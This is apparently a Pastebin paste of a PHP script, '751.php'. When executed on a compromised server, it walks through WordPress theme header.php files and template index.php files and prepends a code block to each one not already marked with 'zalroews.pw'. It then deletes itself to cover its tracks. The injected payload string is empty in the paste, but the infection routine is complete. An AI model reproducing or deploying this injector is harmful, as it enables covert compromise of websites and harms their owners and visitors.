PalmaSolutions

751.php

Mar 18th, 2018
270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.93 KB | None | 0 0
  1. <?php
  2. if( isset($_REQUEST["test_url"]) ){
  3. echo "file test okay";
  4.  
  5. }
  6.  
  7. $scriptname= str_replace("/", "", $_SERVER["SCRIPT_NAME"]);
  8. $code = '
  9.  
  10.  
  11. ';
  12.  
  13.  
  14. if (file_exists("wp-content"))
  15. {
  16. if (file_exists("wp-content/themes"))
  17. {
  18.     $dirs = scandir("wp-content/themes");
  19.     foreach ($dirs as $dir)
  20.     {
  21.         if ((is_dir("wp-content/themes/$dir")) AND ($dir !== ".") AND ($dir !== ".."))
  22.         {
  23.             if (file_exists("wp-content/themes/$dir/header.php"))
  24.             {
  25.                           $file = fopen("wp-content/themes/".$dir."/header.php", "r");  
  26.                           $buffer = fread($file, filesize("wp-content/themes/".$dir."/header.php"));
  27.                           fclose($file);   
  28.                if (eregi('zalroews.pw', $buffer)==0)
  29.                {
  30.                  
  31.                             $in = fopen("wp-content/themes/".$dir."/header.php", "w");
  32.                              fwrite($in, $code);
  33.                              fwrite($in, $buffer);
  34.                              fclose($in);
  35.                 /*       
  36.                    $in = fopen("wp-content/themes/$dir/header.php", "a");
  37.                    fwrite($in, $code);
  38.                    fclose($in);
  39.                    */
  40.                }
  41.             }
  42.         }
  43.     }
  44. }
  45. }
  46.  
  47. if (file_exists("templates"))
  48. {
  49.      $dirs = scandir("templates");
  50.         foreach ($dirs as $dir)
  51.          {
  52.                  if ((is_dir("templates/$dir")) AND ($dir !== ".") AND ($dir !== ".."))
  53.                   {
  54.                       if (file_exists("templates/".$dir."/index.php"))
  55.                       {
  56.                           $file = fopen("templates/".$dir."/index.php", "r");  
  57.                           $buffer = fread($file, filesize("templates/".$dir."/index.php"));
  58.                           fclose($file);   
  59.                             if (eregi('zalroews.pw', $buffer)==0)
  60.                                    {
  61.                              $in = fopen("templates/".$dir."/index.php", "w");
  62.                              fwrite($in, $code);
  63.                              fwrite($in, $buffer);
  64.                              fclose($in);
  65.                                    }                                       
  66.                       }
  67.                   }
  68.          }
  69. }
  70.  
  71.     unlink($scriptname);
  72. ?>
Advertisement
Add Comment
Please, Sign In to add comment